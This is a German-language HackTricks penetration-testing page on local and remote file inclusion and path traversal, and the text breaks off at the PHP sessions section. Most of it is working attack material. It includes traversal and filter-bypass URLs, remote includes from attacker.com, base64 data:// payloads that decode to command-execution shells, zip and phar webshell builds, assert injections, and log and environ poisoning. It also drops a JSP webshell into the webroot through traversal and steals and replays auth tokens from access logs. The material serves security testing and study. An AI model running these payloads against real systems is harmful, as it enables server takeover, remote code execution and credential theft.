File Inclusion/Path traversal

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

File Inclusion

Remote File Inclusion (RFI): Die Datei wird von einem entfernten Server geladen (Am besten: Du kannst den Code schreiben und der Server führt ihn aus). In PHP ist dies standardmäßig deaktiviert (allow_url_include).
Local File Inclusion (LFI): Der Server lädt eine lokale Datei.

Die Schwachstelle tritt auf, wenn ein Benutzer die Datei, die vom Server geladen werden soll, in irgendeiner Weise kontrollieren kann.

Anfällige PHP-Funktionen: require, require_once, include, include_once

Ein interessantes Tool, um diese Schwachstelle auszunutzen: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

*Ich habe mehrere nix LFI-Listen kombiniert und weitere Pfade hinzugefügt, um diese zu erstellen:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Versuche auch, / durch \ zu ersetzen
Versuche auch, ../../../../../ hinzuzufügen

Eine Liste, die mehrere Techniken verwendet, um die Datei /etc/password zu finden (um zu prüfen, ob die Schwachstelle besteht), findet sich hier

Windows

Zusammenführung verschiedener wordlists:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Versuche auch, / durch \ zu ersetzen
Versuche auch, C:/ zu entfernen und ../../../../../ hinzuzufügen

Eine Liste, die mehrere Techniken verwendet, um die Datei /boot.ini zu finden (um zu prüfen, ob die Schwachstelle besteht), findet sich hier

OS X

Siehe die LFI-Liste von linux.

Grundlegendes zu LFI und Bypasses

Alle Beispiele beziehen sich auf Local File Inclusion, können aber auch auf Remote File Inclusion angewendet werden (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences nicht rekursiv entfernt

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass des Anhängens weiterer Zeichen am Ende des bereitgestellten Strings (bypass von: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Das ist seit PHP 5.4 behoben

Encoding

Du könntest nicht-standardmäßige Encodings wie double URL encode (und andere) verwenden:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Moderne HTML-to-PDF-Engines (z. B. TCPDF oder Wrapper wie html2pdf) parsen problemlos vom Angreifer bereitgestelltes HTML, SVG, CSS und Font-URLs, laufen jedoch innerhalb vertrauenswürdiger Backend-Netzwerke mit Dateisystemzugriff. Sobald Sie HTML in $pdf->writeHTML()/Html2Pdf::writeHTML() injizieren können, können Sie häufig lokale Dateien exfiltrieren, die das Webserver-Konto lesen kann.

  • Fingerprint the renderer: jede erzeugte PDF-Datei enthält ein Producer-Feld (z. B. TCPDF 6.8.2). Den genauen Build zu kennen sagt Ihnen, welche Pfadfilter existieren und ob URL-Decoding vor der Validierung erfolgt.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() liest das xlink:href-Attribut von <image>-Elementen, bevor urldecode() ausgeführt wird. Das Einbetten eines bösartigen SVG in eine data URI lässt viele HTML-Sanitizer die payload ignorieren, während TCPDF sie trotzdem parst:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF hängt $_SERVER['DOCUMENT_ROOT'] an Pfade an, die mit / beginnen, und löst .. erst später auf, verwende daher entweder führende ../../..-Segmente oder /../../.., um nach dem Prepend aus dem Root zu entkommen.

  • Encoding to bypass naive filters: Versions ≤6.8.2 prüfen nur die literal-Substring ../ vor dem Decoden der URL. Das Senden von ..%2f (oder ..%2F) im SVG oder in einem rohen <img src>-Attribut umgeht die Prüfung, weil die Traversal dot-dot-slash-Sequenz erst wiederhergestellt wird, nachdem TCPDF urldecode() aufruft.
  • Double-encoding for multi-stage decoding: Wenn Benutzereingaben sowohl vom Web-Framework als auch von TCPDF decodiert werden, doppelkodiere den Slash (%252f). Eine Decodierung macht ihn zu %2f, die zweite Decodierung in TCPDF macht ihn zu /, was /..%252f../../../../… ergibt, ohne dass ../ jemals dem frühen Filter angezeigt wird.
  • HTML <img> handler: TCPDF::openHTMLTagHandler() enthält denselben Reihenfolge-der-Operationen-Bug, wodurch direkte HTML-Payloads wie src="%2f..%252f..%252ftmp%252fsecret.png" das Lesen beliebiger lokal erreichbarer Bitmaps erlauben.

Diese Technik leaks alles, was vom PDF-Worker lesbar ist (passport scans, API keys rendered as images, etc.). Hardeners haben das in 6.9.1 behoben, indem sie Pfade kanonisiert haben (isRelativePath()), daher priorisiere bei Tests ältere Producer-Versionen.

Vom vorhandenen Ordner

Möglicherweise prüft das Back-end den Ordnerpfad:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Erforschung von Dateisystemverzeichnissen auf einem Server

Das Dateisystem eines Servers kann rekursiv durchsucht werden, um Verzeichnisse (nicht nur Dateien) zu identifizieren, indem bestimmte Techniken angewendet werden. Dieser Prozess umfasst das Bestimmen der Verzeichnistiefe und das Prüfen der Existenz spezifischer Ordner. Unten folgt eine detaillierte Methode, um dies zu erreichen:

  1. Verzeichnistiefe bestimmen: Bestimme die Tiefe deines aktuellen Verzeichnisses, indem du erfolgreich die Datei /etc/passwd abrufst (anwendbar, wenn der Server auf Linux basiert). Ein Beispiel-URL könnte wie folgt aufgebaut sein und eine Tiefe von drei anzeigen:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Nach Ordnern suchen: Hänge den Namen des vermuteten Ordners (z. B. private) an die URL an, und navigiere dann zurück zu /etc/passwd. Die zusätzliche Verzeichnisebene erfordert, die Tiefe um eins zu erhöhen:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Ergebnisse interpretieren: Die Antwort des Servers zeigt, ob der Ordner existiert:
  • Error / No Output: Der Ordner private existiert höchstwahrscheinlich nicht an dem angegebenen Ort.
  • Inhalt von /etc/passwd: Die Anwesenheit des Ordners private ist bestätigt.
  1. Rekursive Erkundung: Entdeckte Ordner können mit derselben Technik oder traditionellen Local File Inclusion (LFI)-Methoden weiter auf Unterverzeichnisse oder Dateien untersucht werden.

Um Verzeichnisse an anderen Orten im Dateisystem zu erkunden, passe das payload entsprechend an. Zum Beispiel, um zu prüfen, ob /var/www/ ein private-Verzeichnis enthält (angenommen, das aktuelle Verzeichnis liegt auf einer Tiefe von 3), verwende:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation ist eine Methode, die verwendet wird, um Dateipfade in Webanwendungen zu manipulieren. Sie wird häufig eingesetzt, um auf eingeschränkte Dateien zuzugreifen, indem bestimmte Sicherheitsmaßnahmen umgangen werden, die zusätzliche Zeichen an das Ende von Dateipfaden anhängen. Das Ziel ist, einen Dateipfad so zu gestalten, dass er — nachdem er von der Sicherheitsmaßnahme verändert wurde — weiterhin auf die gewünschte Datei zeigt.

In PHP können verschiedene Darstellungen eines Dateipfads aufgrund der Eigenschaften des Dateisystems als äquivalent betrachtet werden. Zum Beispiel:

  • /etc/passwd, /etc//passwd, /etc/./passwd, und /etc/passwd/ werden alle als derselbe Pfad behandelt.
  • Wenn die letzten 6 Zeichen passwd sind, ändert das Anhängen eines / (also passwd/) die angezielte Datei nicht.
  • Ebenso, wenn .php an einen Dateipfad angehängt ist (wie shellcode.php), ändert das Hinzufügen von /. am Ende nicht die aufgerufene Datei.

Die folgenden Beispiele zeigen, wie man path truncation nutzt, um auf /etc/passwd zuzugreifen, ein häufiges Ziel wegen seines sensiblen Inhalts (Benutzerkontoinformationen):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In diesen Szenarien könnte die Anzahl benötigter traversals etwa 2027 betragen, aber diese Zahl kann je nach Konfiguration des Servers variieren.

  • Using Dot Segments and Additional Characters: Traversal sequences (../) kombiniert mit zusätzlichen Punktsegmenten und Zeichen können verwendet werden, um im Dateisystem zu navigieren und angehängte Strings, die der Server hinzufügt, effektiv zu ignorieren.
  • Determining the Required Number of Traversals: Durch Ausprobieren kann man die genaue Anzahl von ../-Sequenzen herausfinden, die nötig sind, um zum Root-Verzeichnis und dann zu /etc/passwd zu gelangen, wobei sichergestellt wird, dass angehängte Strings (wie .php) neutralisiert werden, aber der gewünschte Pfad (/etc/passwd) erhalten bleibt.
  • Starting with a Fake Directory: Es ist gängige Praxis, den Pfad mit einem nicht existierenden Verzeichnis (z. B. a/) zu beginnen. Diese Technik wird als Vorsichtsmaßnahme verwendet oder um die Anforderungen der Pfadparsing-Logik des Servers zu erfüllen.

Beim Einsatz von path truncation techniques ist es entscheidend, das Pfadparsing-Verhalten des Servers und die Struktur des Dateisystems zu verstehen. Jedes Szenario kann einen anderen Ansatz erfordern, und Tests sind oft notwendig, um die effektivste Methode zu finden.

Diese Verwundbarkeit wurde in PHP 5.3 behoben.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

In php ist dies standardmäßig deaktiviert, weil allow_url_include Off. Es muss On sein, damit es funktioniert, und in diesem Fall könntest du eine PHP-Datei von deinem Server einbinden und RCE erhalten:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Wenn aus irgendeinem Grund allow_url_include eingeschaltet ist, aber PHP den Zugriff auf externe Webseiten filtert, laut diesem Beitrag, kannst du zum Beispiel das data-Protokoll mit base64 verwenden, um einen b64 PHP-Code zu decodieren und RCE zu erhalten:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

Im vorherigen Code wurde das finale +.txt hinzugefügt, weil der Angreifer einen String benötigte, der auf .txt endet. Daher endet der String damit, und nach dem b64-Decode wird dieser Teil nur Müll zurückgeben und der eigentliche PHP-Code eingebunden (und damit ausgeführt).

Another example not using the php:// protocol would be:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Wurzelelement

In Python in einem Code wie diesem:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Wenn der Benutzer einen absoluten Pfad an file_name übergibt, wird der vorherige Pfad einfach entfernt:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Das ist das beabsichtigte Verhalten laut the docs:

Wenn eine Komponente ein absoluter Pfad ist, werden alle vorherigen Komponenten verworfen und das Zusammenfügen wird ab der absoluten Pfadkomponente fortgesetzt.

Java Verzeichnisse auflisten

Es scheint, dass, wenn du eine Path Traversal in Java hast und du ein Verzeichnis anforderst statt einer Datei, eine Auflistung des Verzeichnisses zurückgegeben wird. Das tritt in anderen Sprachen nicht auf (soviel ich weiß).

Top 25 Parameter

Hier ist eine Liste der Top-25-Parameter, die anfällig für local file inclusion (LFI) vulnerabilities sein könnten (from link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI mit PHP-Wrappers & Protokollen

php://filter

PHP-Filters erlauben grundlegende Modifikationsoperationen an den Daten, bevor sie gelesen oder geschrieben werden. Es gibt 5 Kategorien von Filtern:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Entfernt Tags aus den Daten (alles zwischen den Zeichen “<” und “>”)
  • Beachte, dass dieser Filter in modernen PHP-Versionen verschwunden ist
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Wandelt in eine andere Codierung um (convert.iconv.<input_enc>.<output_enc>). Um die Liste aller unterstützten Encodings zu erhalten, führe in der Konsole aus: iconv -l

Warning

Durch Missbrauch des convert.iconv.* Conversion-Filters kann man beliebigen Text erzeugen, was nützlich sein kann, um beliebigen Text zu schreiben oder eine Funktion wie include beliebigen Text verarbeiten zu lassen. Für mehr Informationen siehe LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Komprimiert den Inhalt (nützlich, wenn viel Information exfiltriert wird)
  • zlib.inflate: Dekomprimiert die Daten
  • Encryption Filters
  • mcrypt.* : Veraltet
  • mdecrypt.* : Veraltet
  • Other Filters
  • Wenn man in PHP var_dump(stream_get_filters()); ausführt, findet man ein paar unerwartete Filter:
  • consumed
  • dechunk: kehrt HTTP chunked encoding um
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

Der Teil “php://filter” ist unabhängig von Groß-/Kleinschreibung

Verwendung von php filters als oracle, um beliebige Dateien zu lesen

In this post wird eine Technik vorgeschlagen, um eine lokale Datei zu lesen, ohne dass die Ausgabe vom Server zurückgegeben wird. Diese Technik basiert auf einer boolean exfiltration der Datei (char by char) using php filters als oracle. Das liegt daran, dass php filters verwendet werden können, um einen Text so groß zu machen, dass php eine Ausnahme wirft.

Im Originalbeitrag findet sich eine detaillierte Erklärung der Technik, hier eine kurze Zusammenfassung:

  • Use the codec UCS-4LE to leave leading character of the text at the begging and make the size of string increases exponentially.
  • This will be used to generate a text so big when the initial letter is guessed correctly that php will trigger an error
  • The dechunk filter will remove everything if the first char is not an hexadecimal, so we can know if the first char is hex.
  • This, combined with the previous one (and other filters depending on the guessed letter), will allow us to guess a letter at the beggining of the text by seeing when we do enough transformations to make it not be an hexadecimal character. Because if hex, dechunk won’t delete it and the initial bomb will make php error.
  • The codec convert.iconv.UNICODE.CP930 transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an a for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn’t anymore a hexadecimal character, therefore dechunk doesn’t deleted it and the php error is triggered because it multiplies with the initial bomb.
  • Using other transformations like rot13 at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
  • When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
  • The final problem is to see how to leak more than the initial letter. By using order memory filters like convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE is possible to change the order of the chars and get in the first position other letters of the text.
  • And in order to be able to obtain further data the idea if to generate 2 bytes of junk data at the beginning with convert.iconv.UTF16.UTF16, apply UCS-4LE to make it pivot with the next 2 bytes, and delete the data until the junk data (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.

In the post a tool to perform this automatically was also leaked: php_filters_chain_oracle_exploit.

php://fd

This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Du kannst außerdem php://stdin, php://stdout and php://stderr verwenden, um jeweils auf die Dateideskriptoren 0, 1 und 2 zuzugreifen (nicht sicher, wie das in einem Angriff nützlich sein könnte)

zip:// und rar://

Lade eine Zip- oder Rar-Datei mit einer PHPShell darin hoch und greife darauf zu.
Um das rar-Protokoll missbrauchen zu können, muss es explizit aktiviert werden.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Beachte, dass dieses Protokoll durch php-Konfigurationen allow_url_open und allow_url_include eingeschränkt ist

expect://

Expect muss aktiviert sein. Du kannst Code damit ausführen:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Geben Sie Ihre payload in den POST-Parametern an:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Eine .phar-Datei kann verwendet werden, um PHP-Code auszuführen, wenn eine Webanwendung Funktionen wie include zum Laden von Dateien nutzt. Das untenstehende PHP-Code-Snippet zeigt die Erstellung einer .phar-Datei:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Um die .phar-Datei zu kompilieren, sollte der folgende Befehl ausgeführt werden:

php --define phar.readonly=0 create_path.php

Beim Ausführen wird eine Datei namens test.phar erstellt, die potenziell genutzt werden kann, um Local File Inclusion (LFI)-Schwachstellen auszunutzen.

Wenn die LFI nur Dateien liest, ohne den darin enthaltenen PHP-Code auszuführen — etwa über Funktionen wie file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() oder filesize() — kann versucht werden, eine deserialization vulnerability auszunutzen. Diese Schwachstelle steht im Zusammenhang mit dem Lesen von Dateien über das phar-Protokoll.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Es war möglich, any arbitrary file read from PHP that supports php filters zu missbrauchen, um eine RCE zu erzielen. Die detaillierte Beschreibung kann found in this post.
Sehr kurze Zusammenfassung: Ein 3 byte overflow im PHP-Heap wurde ausgenutzt, um die Kette freier Chunks einer bestimmten Größe zu verändern, um in der Lage zu sein, irgendetwas an eine beliebige Adresse zu schreiben, sodass ein Hook hinzugefügt wurde, der system aufruft.\ Es war möglich, Chunks bestimmter Größen zu alloziieren, indem weitere php filters missbraucht wurden.

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp — Schreibe in den Speicher oder in eine temporäre Datei (nicht sicher, wie dies bei einem file inclusion-Angriff nützlich sein kann)
  • file:// — Zugriff auf das lokale Dateisystem
  • http:// — Zugriff auf HTTP(s)-URLs
  • ftp:// — Zugriff auf FTP(s)-URLs
  • zlib:// — Kompressions-Streams
  • glob:// — Find pathnames matching pattern (Es liefert nichts Druckbares zurück, daher hier nicht wirklich nützlich)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio-Streams (Nicht nützlich, um beliebige Dateien zu lesen)

LFI via PHP’s ‘assert’

Die Risiken von Local File Inclusion (LFI) in PHP sind besonders hoch, wenn die ‘assert’-Funktion beteiligt ist, die Code innerhalb von Strings ausführen kann. Dies ist besonders problematisch, wenn Eingaben, die directory traversal-Zeichen wie “..” enthalten, geprüft werden, aber nicht richtig bereinigt sind.

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

Obwohl dies traversal stoppen soll, schafft es unbeabsichtigt einen Vektor für code injection. Um dies auszunutzen, um Dateiinhalte zu lesen, könnte ein Angreifer Folgendes verwenden:

' and die(highlight_file('/etc/passwd')) or '

Ähnlich kann man zum Ausführen beliebiger Systembefehle Folgendes verwenden:

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

Diese Technik ist relevant in Fällen, in denen Sie control über den file path einer PHP function haben, die eine access a file ausführt, aber Sie den Inhalt der Datei nicht sehen (z. B. ein einfacher Aufruf von file()), und der Inhalt nicht angezeigt wird.

In this incredible post wird erklärt, wie ein blind path traversal über PHP filter missbraucht werden kann, um exfiltrate the content of a file via an error oracle.

Zusammenfassend verwendet die Technik die “UCS-4LE” encoding, um den Inhalt einer Datei so big zu machen, dass die PHP function opening die Datei einen error auslöst.

Um dann das erste Zeichen zu leak the first char, wird der Filter dechunk zusammen mit anderen wie base64 oder rot13 verwendet, und schließlich werden die Filter convert.iconv.UCS-4.UCS-4LE und convert.iconv.UTF16.UTF-16BE verwendet, um place other chars at the beggining and leak them.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Für die technischen Details siehe den erwähnten Beitrag!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Wenn serverseitiger Code, der Dateien entgegennimmt/hochlädt, den Zielpfad aus nutzerkontrollierten Daten (z. B. ein Dateiname oder eine URL) zusammensetzt, ohne ihn zu kanonisieren und zu validieren, können ..-Segmente und absolute Pfade dem vorgesehenen Verzeichnis entkommen und einen arbitrary file write verursachen. Wenn Sie das payload unter ein web-exposed directory ablegen können, erhalten Sie in der Regel unauthenticated RCE, indem Sie eine webshell ablegen.

Typischer Exploit-Ablauf:

  • Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (z. B. message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Determine web-exposed directories. Common examples:
    • Apache/PHP: /var/www/html/
    • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
    • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
  • Browse to the dropped payload and execute commands.

Hinweise:

  • Der verwundbare Dienst, der den Schreibvorgang durchführt, kann auf einem non-HTTP Port lauschen (z. B. ein JMF XML listener auf TCP 4004). Das Hauptwebportal (anderer Port) wird später Ihr payload ausliefern.
  • Auf Java-Stacks werden diese Datei-Schreibvorgänge oft mit einfacher File/Paths-Konkatenation implementiert. Fehlende canonicalisation/allow-listing ist der Kernfehler.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Härtung, die diese Klasse von Bugs verhindert:

  • Auf einen kanonischen Pfad auflösen und sicherstellen, dass er ein Unterverzeichnis eines erlaubten Basisverzeichnisses ist.
  • Jeden Pfad ablehnen, der .., absolute Root-Pfade oder Laufwerksbuchstaben enthält; bevorzugt generierte Dateinamen.
  • Führe den Writer als Account mit niedrigen Rechten aus und trenne Schreibverzeichnisse von den bereitgestellten Root-Verzeichnissen.

Remote File Inclusion

Explained previously, follow this link.

Via Apache/Nginx log file

Wenn der Apache- oder Nginx-Server für LFI innerhalb der include-Funktion verwundbar ist, könntest du versuchen, auf /var/log/apache2/access.log oder /var/log/nginx/access.log zuzugreifen, im user agent oder in einem GET parameter eine php shell wie <?php system($_GET['c']); ?> zu setzen und diese Datei einzubinden

Warning

Beachte, dass wenn du für die Shell doppelte Anführungszeichen verwendest anstelle von einfachen Anführungszeichen, die doppelten Anführungszeichen für den String “quote;” verändert werden, PHP dort einen Fehler werfen wird und nichts weiter ausgeführt wird.

Stelle außerdem sicher, dass du die Payload korrekt schreibst, sonst wird PHP jedes Mal einen Fehler auslösen, wenn es versucht, die Logdatei zu laden, und du bekommst keine zweite Chance.

Das kann auch in anderen Logs gemacht werden, aber sei vorsichtig, der Code in den Logs könnte URL encoded sein und das könnte die Shell zerstören. Der Header authorisation “basic” enthält “user:password” in Base64 und wird in den Logs dekodiert. Die PHPShell könnte in diesen Header eingefügt werden.
Weitere mögliche Log-Pfade:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Zugriff auf access logs, um GET-basierte auth tokens zu sammeln (token replay)

Viele Anwendungen akzeptieren fälschlicherweise session/auth tokens über GET (z. B. AuthenticationToken, token, sid). Wenn du eine path traversal/LFI-Primitive in die web server logs hast, kannst du diese Tokens aus den access logs stehlen und replayen, um die Authentifizierung vollständig zu umgehen.

How-to:

  • Nutze path traversal/LFI, um das web server access log zu lesen. Häufige Speicherorte:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Einige Endpunkte geben Dateiinhalte Base64-encoded zurück. Falls ja, lokal decodieren und die Logzeilen untersuchen.
  • Grep nach GET-Requests, die einen token-Parameter enthalten; fange dessen Wert ab und replaye ihn gegen den application entry point.

Example flow (generisch):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Dekodiere den Body, falls er Base64 ist, und spiele dann ein erfasstes token ab:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Hinweise:

  • Tokens in URLs werden standardmäßig protokolliert; akzeptiere niemals bearer tokens via GET in Produktionssystemen.
  • Wenn die App mehrere Token-Namen unterstützt, suche nach gängigen Schlüsseln wie AuthenticationToken, token, sid, access_token.
  • Rotiere alle Tokens, die möglicherweise leaked in Logs sind.

Per E-Mail

Sende eine Mail an ein internes Konto (user@localhost), die deinen PHP-Payload enthält wie <?php echo system($_REQUEST["cmd"]); ?> und versuche, die Mail des Benutzers mittels include einzubinden mit einem Pfad wie /var/mail/<USERNAME> oder /var/spool/mail/<USERNAME>

Über /proc//fd/

  1. Lade viele shells hoch (zum Beispiel: 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID des Prozesses (kann per Brute-Force ermittelt werden) und $FD = der file descriptor (kann ebenfalls per Brute-Force ermittelt werden)

Über /proc/self/environ

Wie bei einer Log-Datei: Sende den Payload im User-Agent; er wird in der Datei /proc/self/environ reflektiert.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Wenn du eine Datei uploaden kannst, injiziere einfach die Shell-Payload in sie (z. B.: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Um die Datei lesbar zu halten, ist es am besten, in die Metadaten von Bildern/Dokumenten/PDFs zu injizieren

Über ZIP-Dateiupload

Lade eine ZIP-Datei hoch, die eine komprimierte PHP shell enthält, und greife darauf zu:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Über PHP sessions

